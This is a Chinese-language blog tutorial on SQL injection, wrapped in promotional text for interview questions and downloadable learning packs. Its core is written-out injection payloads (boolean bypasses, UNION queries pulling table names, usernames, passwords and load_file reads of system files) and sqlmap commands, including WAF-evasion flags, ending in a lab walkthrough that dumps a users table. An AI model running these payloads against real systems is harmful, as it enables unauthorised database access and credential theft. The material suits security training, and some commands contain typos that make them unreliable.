网络安全最新【网络安全】浅识 SQL 注入_sq注入asclii(1)，2024年最新网络安全面试项目全代码

2401_84297618

于 2024-05-15 04:57:05 发布

阅读量909

点赞数 26

分类专栏：程序员文章标签：网络安全学习面试

本文链接：https://blog.csdn.net/2401_84297618/article/details/138884405

版权

程序员专栏收录该内容

160 篇文章 0 订阅

订阅专栏

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

数据操作

插入：

查询：

删除：

注入流程

判断是否有 SQL 注入漏洞；
判断操作系统和数据库类型；
获取数据库信息；
加密信息破解；
提升权限；
内网渗透；

手动注入

布尔注入

闭合 SQL 语句，构造 or 和 and 逻辑语句、注释多余的代码；

or 1=1 -- 注释后有空格；
admin' and 1=1 -- ' 查询指定账号的密码；
admin' or 1=1 -- ' 查询所有账号密码；

union

前后查询的项数和顺序要一样；

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
复制代码

'union select 1,2 -- ' | 'union select 1,2,3 -- ' 先测试查询有几项；

查询数据库

'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
'union select version(),database() from INFORMATION_SCHEMA.tables -- '
'union selcect user(),databases() form INFORMATION_SCHEMA.tables -- '
'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '
'union select load_file('2f6...264'),database() from INFORMATION_SCHEMA.tables -- ' 16进制；
information_schema 数据库是 MYSQL 自带的，提供了访问数据库元数据的方式。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

查询数据表

'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
复制代码

查询数据列

'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
复制代码

SQLMap

GET 方法注入

sqlmap -u "url" 指定检测的网址；
sqlmap -u "url" -p username --users 查看数据库用户信息；
sqlmap -u "url" -p username -dbs 查看有多少数据库；

POST 方法注入

采用 fiddler/burpsuite/tamper 等代理工具，拦截 POST 请求内容，将 POST 请求内容保存到 post.txt 文件中，并让 sqlmap 调用，设置到带 cookie 才能访问的注入页面，则可以采用 -r 参数来实现；

sqlmap -r post.txt --dbs
sqlmap -r post.txt --users
sqlmap -r post.txt --all

带 cookie 参数注入

sqlmap -u "url" cookie=" " --dbs

混淆注入

用于绕过或识别 WAF/IDS/IPS；

sqlmap -u "url" --dbms=mysql --skip-waf (绕过 waf 防火墙) --random-agent( 使用随机 http 头部)
sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile 模拟手机请求；
sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --level 3 risk=2 提高安全/危险等级；
sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart 智能模式（温和）；
sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart --offline 减少跟对方的交互；

数据获取

sqlmap -r /root/Desktop/post --tables -D "数据库名" 查看当前数据库的数据表；

实战

打开靶机，进入靶场，发现是 get 传参，

启动 SQLMap，指定传参 name，看看有没有注入点，sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name；

获取到相应信息，可以进行 SQL 注入，先查看所有的数据库 sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dbs，

有两个数据库，分别为 exercises 和 information_schema，查询 exercises 数据库，sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --tables -D "exercises"，

只有一个 users 表，查看这个表的所有字段，sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --columns -T "users" -D "exercises"，

查看比较有用的三个字段 id，name，passwd，sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dump -C "id,name,passwd" -T "users" -D "exercises"，

接下来就是该干嘛干嘛，不过建议点到为止；

后记

以上就是 【网络安全】浅识 SQL 注入 的全部内容了，简单的介绍了一些与 SQL 注入相关的内容，也讲解了在 SQL 注入中经常要用到的一些基础语法，注入流程等，同时结合实战，更加透彻的讲解了 SQL 注入，希望对大家有所帮助！

最后

为了帮助大家更好的学习网络安全，小编给大家准备了一份网络安全入门/进阶学习资料，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂，所有资料共282G，朋友们如果有需要全套网络安全入门+进阶学习资源包，可以点击免费领取（如遇扫码问题，可以在评论区留言领取哦）~

😝有需要的小伙伴，可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓

👉CSDN大礼包🎁：全网最全《网络安全入门&进阶学习资源包》免费分享**（安全链接，放心点击）**👈